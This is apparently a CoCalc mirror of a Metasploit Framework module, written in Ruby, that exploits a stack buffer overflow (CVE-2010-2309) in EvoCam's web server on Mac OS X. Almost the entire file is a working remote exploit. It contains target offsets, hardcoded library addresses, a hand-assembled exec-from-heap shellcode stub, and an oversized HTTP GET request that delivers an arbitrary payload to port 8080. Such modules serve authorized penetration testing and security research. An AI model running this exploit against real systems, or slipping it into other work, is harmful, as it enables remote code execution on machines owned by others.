CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/http/evocam_webserver.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'MacOS X EvoCam HTTP GET Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in the web server provided with the EvoCam
16
program for Mac OS X. We use Dino Dai Zovi's exec-from-heap technique to copy the payload
17
from the non-executable stack segment to heap memory. Vulnerable versions include 3.6.6,
18
3.6.7, and possibly earlier versions as well. EvoCam version 3.6.8 fixes the vulnerability.
19
},
20
'Author' =>
21
[
22
'Paul Harrington', # Original Exploit Author and MSF Module
23
'dookie', # MSF Module Assistance
24
],
25
'Platform' => 'osx',
26
'License' => MSF_LICENSE,
27
'References' =>
28
[
29
['CVE', '2010-2309'],
30
['OSVDB', '65043'],
31
['EDB', '12835'],
32
],
33
'Payload' =>
34
{
35
'Space' => 300,
36
'BadChars' => "\x00\xff\x09\x0a\x0b\x0c\x0c\x0d\x20",
37
'StackAdjustment' => -3500,
38
},
39
'Privileged' => false,
40
'Targets' =>
41
[
42
[ 'Mac OS X 10.5.8 x86, EvoCam 3.6.6',
43
{
44
'Arch' => ARCH_X86,
45
'Offset' => 1560,
46
'Writable' => 0x8fe66448,
47
'setjmp' => 0x8fe1cf38,
48
'strdup' => 0x8fe210dc,
49
'jmp_eax' => 0x8fe01041
50
}
51
],
52
[ 'Mac OS X 10.5.8 x86, EvoCam 3.6.7',
53
{
54
'Arch' => ARCH_X86,
55
'Offset' => 1308,
56
'Writable' => 0x8fe66448,
57
'setjmp' => 0x8fe1cf38,
58
'strdup' => 0x8fe210dc,
59
'jmp_eax' => 0x8fe01041
60
}
61
],
62
63
],
64
'DisclosureDate' => '2010-06-01',
65
'DefaultTarget' => 1))
66
67
register_options(
68
[
69
Opt::RPORT(8080),
70
])
71
end
72
73
def make_exec_payload_from_heap_stub()
74
frag0 =
75
"\x90" + # nop
76
"\x58" + # pop eax
77
"\x61" + # popa
78
"\xc3" # ret
79
80
frag1 =
81
"\x90" + # nop
82
"\x58" + # pop eax
83
"\x89\xe0" + # mov eax, esp
84
"\x83\xc0\x0e" + # add eax, byte +0xc
85
"\x89\x44\x24\x08" + # mov [esp+0x8], eax
86
"\xc3" # ret
87
88
setjmp = target['setjmp']
89
writable = target['Writable']
90
strdup = target['strdup']
91
jmp_eax = target['jmp_eax']
92
93
exec_payload_from_heap_stub =
94
frag0 +
95
[setjmp].pack('V') +
96
[writable + 32, writable].pack("V2") +
97
frag1 +
98
"X" * 20 +
99
[setjmp].pack('V') +
100
[writable + 24, writable, strdup, jmp_eax].pack("V4") +
101
"X" * 4
102
end
103
104
def exploit
105
connect
106
107
offset = target['Offset']
108
109
buffer = "GET "
110
buffer << rand_text_alpha_upper(offset)
111
buffer << make_exec_payload_from_heap_stub()
112
buffer << "\x90\x90"
113
buffer << payload.encoded
114
buffer << " HTTP/1.0\r\n\r\n"
115
116
sock.put(buffer)
117
sock.close
118
119
handler()
120
disconnect
121
end
122
end
123
124